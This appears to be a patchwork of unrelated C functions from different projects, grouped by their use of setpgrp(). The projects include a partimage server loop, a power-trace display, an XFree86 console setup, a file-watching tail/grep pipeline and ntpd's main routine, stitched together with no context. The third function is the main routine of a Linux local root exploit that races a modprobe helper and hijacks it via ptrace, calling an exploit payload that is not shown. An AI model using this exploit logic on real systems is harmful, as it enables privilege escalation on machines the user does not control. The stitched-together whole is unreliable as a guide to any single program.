pgrp = setsid(); if (pgrp < 0) { showDebug(1, "can't daemonize: %s\n", strerror(errno)); exit(1); } /* FIXME: this will break 'socket' call close(fileno(stdin)); close(fileno(stdout)); close(fileno(stderr)); */ #ifdef HAVE_SETPGID setpgid(0, getpid()); #else # ifdef SETPGRP_VOID setpgrp(); # else setpgrp(0, getpid()); # endif #endif } try { g_Server = new CNetServer( server_addr.sin_addr.s_addr, nServerPort); } catch ( CExceptions * excep ) { showDebug(1, "fatal error: get exception %d\n", excep->GetExcept()); fclose(g_fDebug); exit(1); } // g_Window = new CPartimagedInterfaceDummy(); g_Window = new CPartimagedInterfaceNewt(); g_Window->Status(i18n("Waiting for client ...")); while (1) { showDebug(1, "infernal loop\n"); try { client = g_Server->AcceptClient(); } catch ( CExceptions * excep ) { showDebug(1, "*** excep catched\n"); switch (excep -> GetExcept()) { case ERR_ERRNO: showDebug(1, "accept failed with %s\n", strerror(excep->get_dwArg1())); continue; // jump to next client case ERR_TOOMANY: showDebug(3, "too many clients -> one refused\n"); if (!g_bBeDaemon) g_Window->Status(i18n("too much client connected")); else fprintf(stderr, i18n("partimaged: too much clients connected\n")); continue; // jump to next client case ERR_REFUSED: showDebug(1, "refused: banner or version\n"); // client is undefined->we can't show it // g_Window->SetState(client, "error !"); // g_Window->SetLocation(client, "(wrong banner)"); continue; // jump to next client default: showDebug(1, "other exception: %d\n", excep->GetExcept()); continue; // jump to next client } showDebug(1, "ARG: reached unexpected point\n"); continue; // we shouldn't reach this point but never knows } showDebug(1, "client %d arrived\n", client); g_Window->SetState(client, i18n("connected")); szPeerName = g_Server -> GetPeer(client); g_Window->SetHostname(client, szPeerName); free(szPeerName); nRes = g_Server->ValidatePass(client); if (nRes) { g_Window->SetState(client, i18n("error!")); g_Window->SetLocation(client, i18n("(wrong password)")); } else { int rv = fork(); if ( rv < 0 ) { showDebug(1, "Cannot fork() on incoming connection - %s\n", strerror(errno)); continue; } if ( ! rv ) partimaged(&client); // child process else { // Store child process PID if (!g_Server->SetClientPid(client, rv)) { showDebug(1, "Cannot store client PID for client: %d\n", client); } } } } // infernal loop showDebug(1, "end of partimaged-main\n"); while(1); delete g_Server; g_Server = NULL; delete g_Window; g_Window = NULL; fclose(g_fDebug); }
void etrace_if::display_init(void) { int i; int disp_pipe[2]; unsigned int val; long long long_val; const char *pbuf; if(pipe(disp_pipe) < 0){ perror("etrace_if: pipe error"); exit(EXIT_FAILURE); } if((s_pid_graph[s_nb_graph++] = fork()) == 0){ setpgrp(); // son int null_fd; dup2(disp_pipe[0], STDIN_FILENO); close(disp_pipe[0]); close(disp_pipe[1]); null_fd = open("/dev/null", O_WRONLY); // make it silent dup2(null_fd, STDOUT_FILENO); //dup2 (null_fd, STDERR_FILENO); close(null_fd); if(execlp("chronograph", "chronograph", NULL) < 0){ perror("etrace_if: execlp failure"); _exit(EXIT_FAILURE); } } // father signal(SIGPIPE, SIG_IGN); close(disp_pipe[0]); m_disp_pipe = disp_pipe[1]; // setting the graph parameters pbuf = "Power consumption"; val = strlen (pbuf) + 1; writepipe(m_disp_pipe, &val, 4); writepipe(m_disp_pipe, pbuf, val); // number of graphs val = m_scope->nb_groups + 1; writepipe(m_disp_pipe, &val, 4); // sample period (20 ms) val = 20; writepipe(m_disp_pipe, &val, 4); // for each graph: number of curves, min value, max value int j, group_id; periph_t *tp, *pperiph = m_scope->head_periphs; i = 0; while(pperiph) { group_id = pperiph->group_id; tp = pperiph; j = i; while(tp && (tp->group_id == group_id)){ tp->idx = j++; tp = tp->next; } // number of curves in the graph val = j - i; writepipe(m_disp_pipe, &val, 4); // min value long_val = 0; writepipe(m_disp_pipe, &long_val, 8); // max value long_val = pperiph->pclass->max_energy_ms; m_scope->max_energy_ms += (j - i) * long_val; writepipe(m_disp_pipe, &long_val, 8); i = j; pperiph = tp; } // for total graph // number of curves in the graph (2) val = 2; writepipe(m_disp_pipe, &val, 4); // min value long_val = 0; writepipe(m_disp_pipe, &long_val, 8); // max value long_val =m_scope->max_energy_ms; writepipe(m_disp_pipe, &long_val, 8); // for each graph: graphs names pperiph = m_scope->head_periphs; while(pperiph){ pbuf = pperiph->group_name; val = strlen (pbuf) + 1; writepipe(m_disp_pipe, &val, 4); writepipe(m_disp_pipe, pbuf, val); group_id = pperiph->group_id; while(pperiph && (pperiph->group_id == group_id)) pperiph = pperiph->next; } // for total graph pbuf = "Total "; val = strlen(pbuf) + 1; writepipe(m_disp_pipe, &val, 4); writepipe(m_disp_pipe, pbuf, val); }
int main(int ac, char **av) { int fd, pid, p, i; char buf[TMPSIZE]; struct uids uids; FILE *fp; setpgrp(); setsid(); umask(022); unlink(SHELL); fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755); fp = fdopen(fd, "w+"); fprintf(fp, "%s\n", shellcmd); fclose(fp); pid = getpid() + 2; snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid); printf("\nModprobe pid %d, my pid %d", pid, getpid()); fflush(stdout); signal(SIGUSR1, sighnd); // fork modprobe helper if (!(p = fork())) { // some nice work for exec_usermodehelper(), keep it busy! for (i = 0; i < FMAX; i++) { fd = open("/dev/zero", O_RDWR); mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); } kill(getppid(), SIGUSR1); while (!sig); printf("\nHelper (pid %d) requesting module...", getpid()); fflush(stdout); fd = open(ENTRY, O_RDONLY | O_NONBLOCK); exit(0); } // synchronize with the child else { while (!sig); kill(p, SIGUSR1); // wait for modprobe to run at unprivileged level while (1) { fd = open(buf, O_RDONLY); if (fd > 0) { if (!(fp = fdopen(fd, "r"))) fatal("fdopen"); if (get_ids(fp, &uids) != 4 || (uids.uid != uids.euid || uids.uid != uids.suid || uids.uid != uids.fsuid)) { fatal("did not catch modprobe...try again later :-)"); } // ok, it runs... while (1) { if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) { fatal("PTRACE_ATTACH failed!"); } else { i = 0; printf("\nAttached afterburner...\n"); fflush(stdout); while (ptrace(PTRACE_GETREGS, pid, 0, ®s) || !regs.eip || regs.eip >= MAXSTACK) { ptrace(PTRACE_SYSCALL, pid, NULL, NULL); printf("\rplease wait %d", i++); fflush(stdout); } waitpid(pid, NULL, WUNTRACED); printf ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ", regs.eip); fflush(stdout); exploit(pid); exit(0); } } fclose(fp); } } } return 0; }
void xf86OpenConsole(void) { int i, ioctl_ret; struct vt_mode VT; struct vid_info vidinf; struct sigaction sigvtsw; char *ttn; if (serverGeneration == 1) { /* check if we're run with euid==0 */ if (geteuid() != 0) { FatalError("xf86OpenConsole: Server must be setuid root\n"); } /* If we are run in the background we will get SIGTTOU. Ignore it. */ OsSignal (SIGTTOU, SIG_IGN); /* * Set up the virtual terminal (multiscreen in SCO parlance). * For the actual console itself, screens are numbered from * 1 to (usually) 16. However, it is possible to have a nested * server, and it is also possible to be on a multi-console * system such as MaxSpeed or SunRiver. Therefore, we should * not make any assumptions about the TTY name we are on, and * instead we rely on ttyname() to give us the real TTY name. * Previously, we tried to determine the TTY name manually. * This is wrong. The only time we need to futz with the TTY name * is if we were given the name of a TTY to run on explicity on * the command line. */ if (VTnum == -1) { /* * No device was specified. We need to query the kernel to see which * console device we are on (and in fact if we are on a console at all). */ ttn = ttyname (1); if (ttn == (char *)0) { FatalError ("xf86OpenConsole: Could not determine TTY name: %s\n", strerror(errno)); } strlcpy (vtdevice, ttn, sizeof(vtdevice)); } else if (VTnum >= 0) { snprintf (vtdevice, sizeof(vtdevice), "/dev/tty%02d", VTnum); } /* * Now we can dispose of stdin/stdout */ fclose (stdin); fclose (stdout); if ((xf86Info.consoleFd = open(vtdevice, O_RDWR | O_NDELAY, 0)) < 0) { FatalError("xf86OpenConsole: Cannot open %s: %s\n", vtdevice, strerror(errno)); } /* * We make 100% sure we use the correct VT number. This can get ugly * where there are multi-consoles in use, so we make sure we query * the kernel for the correct VT number. It knows best, we don't. */ vidinf.size = sizeof(vidinf); if (ioctl (xf86Info.consoleFd, CONS_GETINFO, &vidinf) < 0) { FatalError ("xf86OpenConsole: %s not a console device " "or error querying device: %s\n", vtdevice, strerror (errno)); } xf86Info.vtno = vidinf.m_num; VTnum = vidinf.m_num + 1; /* 0-based */ ErrorF("(using VT%02d device %s)\n\n", VTnum, vtdevice); /* We activate the console just in case its not the one we are on */ if (ioctl(xf86Info.consoleFd, VT_ACTIVATE, xf86Info.vtno) != 0) { ErrorF("xf86OpenConsole: VT_ACTIVATE failed (%s)\n", strerror(errno)); } /* Disassociate from controling TTY */ if (!KeepTty) { setpgrp(); } /* * Now we get the current mode that the console device is in. We will * use this later when we close the console device to restore it to * that same mode. */ if ((sco_console_mode = ioctl(xf86Info.consoleFd, CONS_GET, 0L)) < 0) { FatalError("xf86OpenConsole: CONS_GET failed on console (%s)\n", strerror(errno)); } if (ioctl(xf86Info.consoleFd, VT_GETMODE, &VT) < 0) { FatalError("xf86OpenConsole: VT_GETMODE failed (%s)\n", strerror(errno)); } sigvtsw.sa_handler = xf86VTRequest; sigfillset(&sigvtsw.sa_mask); sigvtsw.sa_flags = 0; /* NOTE: Using sigaction means we dont have to re-arm the signal */ sigaction(SIGUSR1, &sigvtsw, NULL); VT.mode = VT_PROCESS; VT.relsig = SIGUSR1; VT.acqsig = SIGUSR1; VT.frsig = SIGINT; /* Not implemented */ VT.waitv = 0; /* * The SCO X server tries the following call 5 times. Lets do the same * thing. It shouldn't really be required but sometimes things take a * while to settle down when switching screens. *helpless shrug* I know * its sucks but ... */ ioctl_ret = 0; for (i = 0; i < 5; i++) { ioctl_ret = ioctl(xf86Info.consoleFd, VT_SETMODE, &VT); if (ioctl_ret >= 0) break; usleep(999999); /* Dont use nap() - it forces linking with -lx */ } if (ioctl_ret < 0) { FatalError("xf86OpenConsole: VT_SETMODE failed (%s)\n", strerror(errno)); } /* * Convince the console driver we are in graphics mode. */ if (ioctl(xf86Info.consoleFd, KDSETMODE, KD_GRAPHICS) < 0) { ErrorF("Failed to set graphics mode (%s)\n", strerror(errno)); } } else { /* serverGeneration != 1 */ if (ioctl(xf86Info.consoleFd, VT_ACTIVATE, xf86Info.vtno) != 0) { ErrorF("xf86OpenConsole: VT_ACTIVATE failed (%s)\n", strerror(errno)); } } }
//Verifica se é inserida uma frase com a palavra passada como argumento e imprime-a juntamente com //a hora da modificação void ficheiro(char* filename, char* palavra){ int pidTail, pidGrep, fd1[2], fd2[2]; char* argTail[] = {"tail", "-f", "-n 0", filename, 0}; char* argGrep[] = {"grep", palavra, "--line-buffered", 0}; signal(SIGUSR1, sigusr1handler); setpgrp(); if ( pipe(fd1) == -1 ) printf("Failed Pipe fd1 \n"); if( ( pidTail = fork() ) == -1 ) printf("Failed Fork Tail \n"); if ( pidTail == 0 ) /* CHILD TAIL */ { close(fd1[0]); dup2(fd1[1], STDOUT_FILENO); if( execvp("tail", argTail) == -1 ) printf("Error tail \n"); } else if ( pidTail > 0 ) /* PARENT TAIL */ { if ( pipe(fd2) == -1 ) printf("Failed Pipe fd2 \n"); if( ( pidGrep = fork() ) == -1 ) printf("Erro Fork Grep \n"); if (pidGrep == 0) /* FILHO GREP */ { close(fd1[1]); close(fd2[0]); dup2(fd1[0], STDIN_FILENO); dup2(fd2[1], STDOUT_FILENO); if( execvp("grep", argGrep) == -1 ) printf("Error grep \n"); } else if (pidGrep > 0) /* PAI GREP */ { close(fd1[0]); close(fd1[1]); close(fd2[1]); time_t t; struct tm * tm; int n; char* line = malloc(200); while ( ( n = read( fd2[0], line, 200) ) > 0 ){ if (line[n - 1] == '\n') line[n - 1] = '\0'; t = time(NULL); tm = localtime(&t); char strA[200]; strftime(strA, 200 , "%Y-%m-%dT%H:%M:%S", tm); strcat ( strA, " - "); strcat ( strA, filename); strcat ( strA, " - \""); strcat ( strA, line); strcat (strA, "\"\n\0"); write(STDOUT_FILENO, strA, strlen(strA)); } } } }
/* * Main program. Initialize us, disconnect us from the tty if necessary, * and loop waiting for I/O and/or timer expiries. */ int ntpdmain( int argc, char *argv[] ) { l_fp now; struct recvbuf *rbuf; #ifdef _AIX /* HMS: ifdef SIGDANGER? */ struct sigaction sa; #endif progname = argv[0]; initializing = 1; /* mark that we are initializing */ process_commandline_opts(&argc, &argv); init_logging(progname, 1); /* Open the log file */ char *error = NULL; if (sandbox_init("ntpd", SANDBOX_NAMED, &error) == -1) { msyslog(LOG_ERR, "sandbox_init(ntpd, SANDBOX_NAMED) failed: %s", error); sandbox_free_error(error); } #ifdef HAVE_UMASK { mode_t uv; uv = umask(0); if(uv) (void) umask(uv); else (void) umask(022); } #endif #if defined(HAVE_GETUID) && !defined(MPE) /* MPE lacks the concept of root */ { uid_t uid; uid = getuid(); if (uid && !HAVE_OPT( SAVECONFIGQUIT )) { msyslog(LOG_ERR, "ntpd: must be run as root, not uid %ld", (long)uid); printf("must be run as root, not uid %ld\n", (long)uid); exit(1); } } #endif /* getstartup(argc, argv); / * startup configuration, may set debug */ #ifdef DEBUG debug = DESC(DEBUG_LEVEL).optOccCt; DPRINTF(1, ("%s\n", Version)); #endif /* honor -l/--logfile option to log to a file */ setup_logfile(); /* * Enable the Multi-Media Timer for Windows? */ #ifdef SYS_WINNT if (HAVE_OPT( MODIFYMMTIMER )) set_mm_timer(MM_TIMER_HIRES); #endif if (HAVE_OPT( NOFORK ) || HAVE_OPT( QUIT ) #ifdef DEBUG || debug #endif || HAVE_OPT( SAVECONFIGQUIT )) nofork = 1; if (HAVE_OPT( NOVIRTUALIPS )) listen_to_virtual_ips = 0; /* * --interface, listen on specified interfaces */ if (HAVE_OPT( INTERFACE )) { int ifacect = STACKCT_OPT( INTERFACE ); const char** ifaces = STACKLST_OPT( INTERFACE ); isc_netaddr_t netaddr; while (ifacect-- > 0) { add_nic_rule( is_ip_address(*ifaces, &netaddr) ? MATCH_IFADDR : MATCH_IFNAME, *ifaces, -1, ACTION_LISTEN); ifaces++; } } if (HAVE_OPT( NICE )) priority_done = 0; #if defined(HAVE_SCHED_SETSCHEDULER) if (HAVE_OPT( PRIORITY )) { config_priority = OPT_VALUE_PRIORITY; config_priority_override = 1; priority_done = 0; } #endif #ifdef SYS_WINNT /* * Start interpolation thread, must occur before first * get_systime() */ init_winnt_time(); #endif /* * Initialize random generator and public key pair */ get_systime(&now); ntp_srandom((int)(now.l_i * now.l_uf)); #if !defined(VMS) # ifndef NODETACH /* * Detach us from the terminal. May need an #ifndef GIZMO. */ if (!nofork) { /* * Install trap handlers to log errors and assertion * failures. Default handlers print to stderr which * doesn't work if detached. */ isc_assertion_setcallback(assertion_failed); isc_error_setfatal(library_fatal_error); isc_error_setunexpected(library_unexpected_error); # ifndef SYS_WINNT # ifdef HAVE_DAEMON daemon(0, 0); # else /* not HAVE_DAEMON */ if (fork()) /* HMS: What about a -1? */ exit(0); { #if !defined(F_CLOSEM) u_long s; int max_fd; #endif /* !FCLOSEM */ if (syslog_file != NULL) { fclose(syslog_file); syslog_file = NULL; } #if defined(F_CLOSEM) /* * From 'Writing Reliable AIX Daemons,' SG24-4946-00, * by Eric Agar (saves us from doing 32767 system * calls) */ if (fcntl(0, F_CLOSEM, 0) == -1) msyslog(LOG_ERR, "ntpd: failed to close open files(): %m"); #else /* not F_CLOSEM */ # if defined(HAVE_SYSCONF) && defined(_SC_OPEN_MAX) max_fd = sysconf(_SC_OPEN_MAX); # else /* HAVE_SYSCONF && _SC_OPEN_MAX */ max_fd = getdtablesize(); # endif /* HAVE_SYSCONF && _SC_OPEN_MAX */ for (s = 0; s < max_fd; s++) (void) close((int)s); #endif /* not F_CLOSEM */ (void) open("/", 0); (void) dup2(0, 1); (void) dup2(0, 2); init_logging(progname, 0); /* we lost our logfile (if any) daemonizing */ setup_logfile(); #ifdef SYS_DOMAINOS { uid_$t puid; status_$t st; proc2_$who_am_i(&puid); proc2_$make_server(&puid, &st); } #endif /* SYS_DOMAINOS */ #if defined(HAVE_SETPGID) || defined(HAVE_SETSID) # ifdef HAVE_SETSID if (setsid() == (pid_t)-1) msyslog(LOG_ERR, "ntpd: setsid(): %m"); # else if (setpgid(0, 0) == -1) msyslog(LOG_ERR, "ntpd: setpgid(): %m"); # endif #else /* HAVE_SETPGID || HAVE_SETSID */ { # if defined(TIOCNOTTY) int fid; fid = open("/dev/tty", 2); if (fid >= 0) { (void) ioctl(fid, (u_long) TIOCNOTTY, (char *) 0); (void) close(fid); } # endif /* defined(TIOCNOTTY) */ # ifdef HAVE_SETPGRP_0 (void) setpgrp(); # else /* HAVE_SETPGRP_0 */ (void) setpgrp(0, getpid()); # endif /* HAVE_SETPGRP_0 */ } #endif /* HAVE_SETPGID || HAVE_SETSID */ #ifdef _AIX /* Don't get killed by low-on-memory signal. */ sa.sa_handler = catch_danger; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; (void) sigaction(SIGDANGER, &sa, NULL); #endif /* _AIX */ } # endif /* not HAVE_DAEMON */ # endif /* SYS_WINNT */ } # endif /* NODETACH */ #endif /* VMS */ #ifdef SCO5_CLOCK /* * SCO OpenServer's system clock offers much more precise timekeeping * on the base CPU than the other CPUs (for multiprocessor systems), * so we must lock to the base CPU. */ { int fd = open("/dev/at1", O_RDONLY); if (fd >= 0) { int zero = 0; if (ioctl(fd, ACPU_LOCK, &zero) < 0) msyslog(LOG_ERR, "cannot lock to base CPU: %m"); close( fd ); } /* else ... * If we can't open the device, this probably just isn't * a multiprocessor system, so we're A-OK. */ } #endif #if defined(HAVE_MLOCKALL) && defined(MCL_CURRENT) && defined(MCL_FUTURE) # ifdef HAVE_SETRLIMIT /* * Set the stack limit to something smaller, so that we don't lock a lot * of unused stack memory. */ { struct rlimit rl; /* HMS: must make the rlim_cur amount configurable */ if (getrlimit(RLIMIT_STACK, &rl) != -1 && (rl.rlim_cur = 50 * 4096) < rl.rlim_max) { if (setrlimit(RLIMIT_STACK, &rl) == -1) { msyslog(LOG_ERR, "Cannot adjust stack limit for mlockall: %m"); } } # ifdef RLIMIT_MEMLOCK /* * The default RLIMIT_MEMLOCK is very low on Linux systems. * Unless we increase this limit malloc calls are likely to * fail if we drop root privlege. To be useful the value * has to be larger than the largest ntpd resident set size. */ rl.rlim_cur = rl.rlim_max = 32*1024*1024; if (setrlimit(RLIMIT_MEMLOCK, &rl) == -1) { msyslog(LOG_ERR, "Cannot set RLIMIT_MEMLOCK: %m"); } # endif /* RLIMIT_MEMLOCK */ } # endif /* HAVE_SETRLIMIT */ /* * lock the process into memory */ if (mlockall(MCL_CURRENT|MCL_FUTURE) < 0) msyslog(LOG_ERR, "mlockall(): %m"); #else /* not (HAVE_MLOCKALL && MCL_CURRENT && MCL_FUTURE) */ # ifdef HAVE_PLOCK # ifdef PROCLOCK # ifdef _AIX /* * set the stack limit for AIX for plock(). * see get_aix_stack() for more info. */ if (ulimit(SET_STACKLIM, (get_aix_stack() - 8*4096)) < 0) { msyslog(LOG_ERR,"Cannot adjust stack limit for plock on AIX: %m"); } # endif /* _AIX */ /* * lock the process into memory */ if (plock(PROCLOCK) < 0) msyslog(LOG_ERR, "plock(PROCLOCK): %m"); # else /* not PROCLOCK */ # ifdef TXTLOCK /* * Lock text into ram */ if (plock(TXTLOCK) < 0) msyslog(LOG_ERR, "plock(TXTLOCK) error: %m"); # else /* not TXTLOCK */ msyslog(LOG_ERR, "plock() - don't know what to lock!"); # endif /* not TXTLOCK */ # endif /* not PROCLOCK */ # endif /* HAVE_PLOCK */ #endif /* not (HAVE_MLOCKALL && MCL_CURRENT && MCL_FUTURE) */ /* * Set up signals we pay attention to locally. */ #ifdef SIGDIE1 (void) signal_no_reset(SIGDIE1, finish); #endif /* SIGDIE1 */ #ifdef SIGDIE2 (void) signal_no_reset(SIGDIE2, finish); #endif /* SIGDIE2 */ #ifdef SIGDIE3 (void) signal_no_reset(SIGDIE3, finish); #endif /* SIGDIE3 */ #ifdef SIGDIE4 (void) signal_no_reset(SIGDIE4, finish); #endif /* SIGDIE4 */ #ifdef SIGBUS (void) signal_no_reset(SIGBUS, finish); #endif /* SIGBUS */ #if !defined(SYS_WINNT) && !defined(VMS) # ifdef DEBUG (void) signal_no_reset(MOREDEBUGSIG, moredebug); (void) signal_no_reset(LESSDEBUGSIG, lessdebug); # else (void) signal_no_reset(MOREDEBUGSIG, no_debug); (void) signal_no_reset(LESSDEBUGSIG, no_debug); # endif /* DEBUG */ #endif /* !SYS_WINNT && !VMS */ /* * Set up signals we should never pay attention to. */ #if defined SIGPIPE (void) signal_no_reset(SIGPIPE, SIG_IGN); #endif /* SIGPIPE */ /* * Call the init_ routines to initialize the data structures. * * Exactly what command-line options are we expecting here? */ init_auth(); init_util(); init_restrict(); init_mon(); init_timer(); init_lib(); init_request(); init_control(); init_peer(); #ifdef REFCLOCK init_refclock(); #endif set_process_priority(); init_proto(); /* Call at high priority */ init_io(); init_loopfilter(); mon_start(MON_ON); /* monitor on by default now */ /* turn off in config if unwanted */ /* * Get the configuration. This is done in a separate module * since this will definitely be different for the gizmo board. */ getconfig(argc, argv); NLOG(NLOG_SYSINFO) /* 'if' clause for syslog */ msyslog(LOG_NOTICE, "%s", Version); report_event(EVNT_SYSRESTART, NULL, NULL); loop_config(LOOP_DRIFTCOMP, old_drift); initializing = 0; #ifdef HAVE_DROPROOT if( droproot ) { /* Drop super-user privileges and chroot now if the OS supports this */ #ifdef HAVE_LINUX_CAPABILITIES /* set flag: keep privileges accross setuid() call (we only really need cap_sys_time): */ if (prctl( PR_SET_KEEPCAPS, 1L, 0L, 0L, 0L ) == -1) { msyslog( LOG_ERR, "prctl( PR_SET_KEEPCAPS, 1L ) failed: %m" ); exit(-1); } #else /* we need a user to switch to */ if (user == NULL) { msyslog(LOG_ERR, "Need user name to drop root privileges (see -u flag!)" ); exit(-1); } #endif /* HAVE_LINUX_CAPABILITIES */ if (user != NULL) { if (isdigit((unsigned char)*user)) { sw_uid = (uid_t)strtoul(user, &endp, 0); if (*endp != '\0') goto getuser; if ((pw = getpwuid(sw_uid)) != NULL) { user = strdup(pw->pw_name); if (NULL == user) { msyslog(LOG_ERR, "strdup() failed: %m"); exit (-1); } sw_gid = pw->pw_gid; } else { errno = 0; msyslog(LOG_ERR, "Cannot find user ID %s", user); exit (-1); } } else { getuser: errno = 0; if ((pw = getpwnam(user)) != NULL) { sw_uid = pw->pw_uid; sw_gid = pw->pw_gid; } else { if (errno) msyslog(LOG_ERR, "getpwnam(%s) failed: %m", user); else msyslog(LOG_ERR, "Cannot find user `%s'", user); exit (-1); } } } if (group != NULL) { if (isdigit((unsigned char)*group)) { sw_gid = (gid_t)strtoul(group, &endp, 0); if (*endp != '\0') goto getgroup; } else { getgroup: if ((gr = getgrnam(group)) != NULL) { sw_gid = gr->gr_gid; } else { errno = 0; msyslog(LOG_ERR, "Cannot find group `%s'", group); exit (-1); } } } if (chrootdir ) { /* make sure cwd is inside the jail: */ if (chdir(chrootdir)) { msyslog(LOG_ERR, "Cannot chdir() to `%s': %m", chrootdir); exit (-1); } if (chroot(chrootdir)) { msyslog(LOG_ERR, "Cannot chroot() to `%s': %m", chrootdir); exit (-1); } if (chdir("/")) { msyslog(LOG_ERR, "Cannot chdir() to`root after chroot(): %m"); exit (-1); } } if (user && initgroups(user, sw_gid)) { msyslog(LOG_ERR, "Cannot initgroups() to user `%s': %m", user); exit (-1); } if (group && setgid(sw_gid)) { msyslog(LOG_ERR, "Cannot setgid() to group `%s': %m", group); exit (-1); } if (group && setegid(sw_gid)) { msyslog(LOG_ERR, "Cannot setegid() to group `%s': %m", group); exit (-1); } if (user && setuid(sw_uid)) { msyslog(LOG_ERR, "Cannot setuid() to user `%s': %m", user); exit (-1); } if (user && seteuid(sw_uid)) { msyslog(LOG_ERR, "Cannot seteuid() to user `%s': %m", user); exit (-1); } #ifndef HAVE_LINUX_CAPABILITIES /* * for now assume that the privilege to bind to privileged ports * is associated with running with uid 0 - should be refined on * ports that allow binding to NTP_PORT with uid != 0 */ disable_dynamic_updates |= (sw_uid != 0); /* also notifies routing message listener */ #endif if (disable_dynamic_updates && interface_interval) { interface_interval = 0; msyslog(LOG_INFO, "running in unprivileged mode disables dynamic interface tracking"); } #ifdef HAVE_LINUX_CAPABILITIES do { /* * We may be running under non-root uid now, but we still hold full root privileges! * We drop all of them, except for the crucial one or two: cap_sys_time and * cap_net_bind_service if doing dynamic interface tracking. */ cap_t caps; char *captext = (interface_interval) ? "cap_sys_time,cap_net_bind_service=ipe" : "cap_sys_time=ipe"; if( ! ( caps = cap_from_text( captext ) ) ) { msyslog( LOG_ERR, "cap_from_text() failed: %m" ); exit(-1); } if( cap_set_proc( caps ) == -1 ) { msyslog( LOG_ERR, "cap_set_proc() failed to drop root privileges: %m" ); exit(-1); } cap_free( caps ); } while(0); #endif /* HAVE_LINUX_CAPABILITIES */ } /* if( droproot ) */ #endif /* HAVE_DROPROOT */ /* * Use select() on all on all input fd's for unlimited * time. select() will terminate on SIGALARM or on the * reception of input. Using select() means we can't do * robust signal handling and we get a potential race * between checking for alarms and doing the select(). * Mostly harmless, I think. */ /* On VMS, I suspect that select() can't be interrupted * by a "signal" either, so I take the easy way out and * have select() time out after one second. * System clock updates really aren't time-critical, * and - lacking a hardware reference clock - I have * yet to learn about anything else that is. */ #if defined(HAVE_IO_COMPLETION_PORT) for (;;) { GetReceivedBuffers(); #else /* normal I/O */ BLOCK_IO_AND_ALARM(); was_alarmed = 0; for (;;) { # if !defined(HAVE_SIGNALED_IO) extern fd_set activefds; extern int maxactivefd; fd_set rdfdes; int nfound; # endif if (alarm_flag) /* alarmed? */ { was_alarmed = 1; alarm_flag = 0; } if (!was_alarmed && has_full_recv_buffer() == ISC_FALSE) { /* * Nothing to do. Wait for something. */ # ifndef HAVE_SIGNALED_IO rdfdes = activefds; # if defined(VMS) || defined(SYS_VXWORKS) /* make select() wake up after one second */ { struct timeval t1; t1.tv_sec = 1; t1.tv_usec = 0; nfound = select(maxactivefd+1, &rdfdes, (fd_set *)0, (fd_set *)0, &t1); } # else nfound = select(maxactivefd+1, &rdfdes, (fd_set *)0, (fd_set *)0, (struct timeval *)0); # endif /* VMS */ if (nfound > 0) { l_fp ts; get_systime(&ts); (void)input_handler(&ts); } else if (nfound == -1 && errno != EINTR) msyslog(LOG_ERR, "select() error: %m"); # ifdef DEBUG else if (debug > 5) msyslog(LOG_DEBUG, "select(): nfound=%d, error: %m", nfound); # endif /* DEBUG */ # else /* HAVE_SIGNALED_IO */ wait_for_signal(); # endif /* HAVE_SIGNALED_IO */ if (alarm_flag) /* alarmed? */ { was_alarmed = 1; alarm_flag = 0; } } if (was_alarmed) { UNBLOCK_IO_AND_ALARM(); /* * Out here, signals are unblocked. Call timer routine * to process expiry. */ timer(); was_alarmed = 0; BLOCK_IO_AND_ALARM(); } #endif /* ! HAVE_IO_COMPLETION_PORT */ #ifdef DEBUG_TIMING { l_fp pts; l_fp tsa, tsb; int bufcount = 0; get_systime(&pts); tsa = pts; #endif rbuf = get_full_recv_buffer(); while (rbuf != NULL) { if (alarm_flag) { was_alarmed = 1; alarm_flag = 0; } UNBLOCK_IO_AND_ALARM(); if (was_alarmed) { /* avoid timer starvation during lengthy I/O handling */ timer(); was_alarmed = 0; } /* * Call the data procedure to handle each received * packet. */ if (rbuf->receiver != NULL) /* This should always be true */ { #ifdef DEBUG_TIMING l_fp dts = pts; L_SUB(&dts, &rbuf->recv_time); DPRINTF(2, ("processing timestamp delta %s (with prec. fuzz)\n", lfptoa(&dts, 9))); collect_timing(rbuf, "buffer processing delay", 1, &dts); bufcount++; #endif (rbuf->receiver)(rbuf); } else { msyslog(LOG_ERR, "receive buffer corruption - receiver found to be NULL - ABORTING"); abort(); } BLOCK_IO_AND_ALARM(); freerecvbuf(rbuf); rbuf = get_full_recv_buffer(); } #ifdef DEBUG_TIMING get_systime(&tsb); L_SUB(&tsb, &tsa); if (bufcount) { collect_timing(NULL, "processing", bufcount, &tsb); DPRINTF(2, ("processing time for %d buffers %s\n", bufcount, lfptoa(&tsb, 9))); } } #endif /* * Go around again */ #ifdef HAVE_DNSREGISTRATION if (mdnsreg && (current_time - mdnsreg ) > 60 && mdnstries && sys_leap != LEAP_NOTINSYNC) { mdnsreg = current_time; msyslog(LOG_INFO, "Attemping to register mDNS"); if ( DNSServiceRegister (&mdns, 0, 0, NULL, "_ntp._udp", NULL, NULL, htons(NTP_PORT), 0, NULL, NULL, NULL) != kDNSServiceErr_NoError ) { if (!--mdnstries) { msyslog(LOG_ERR, "Unable to register mDNS, giving up."); } else { msyslog(LOG_INFO, "Unable to register mDNS, will try later."); } } else { msyslog(LOG_INFO, "mDNS service registered."); mdnsreg = 0; } } #endif /* HAVE_DNSREGISTRATION */ } UNBLOCK_IO_AND_ALARM(); return 1; } #ifdef SIGDIE2 /* * finish - exit gracefully */ static RETSIGTYPE finish( int sig ) { msyslog(LOG_NOTICE, "ntpd exiting on signal %d", sig); #ifdef HAVE_DNSREGISTRATION if (mdns != NULL) DNSServiceRefDeallocate(mdns); #endif switch (sig) { # ifdef SIGBUS case SIGBUS: printf("\nfinish(SIGBUS)\n"); exit(0); # endif case 0: /* Should never happen... */ return; default: exit(0); } }
